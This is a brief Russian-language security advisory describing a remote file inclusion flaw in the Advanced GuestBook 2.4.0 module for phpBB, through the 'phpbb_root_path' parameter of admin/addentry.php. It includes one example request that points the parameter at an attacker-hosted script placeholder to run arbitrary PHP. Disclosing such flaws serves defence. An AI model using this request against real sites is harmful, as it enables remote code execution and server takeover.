Программа: Advanced GuestBook (модуль для phpBB) 2.4.0, возможно другие
версии.

Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "phpbb_root_path" в сценарии admin/addentry.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной
эксплуатации уязвимости опция "register_globals" должна быть включена.

Пример:

http://[url]/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://[badscript]?

 



Оставить мнение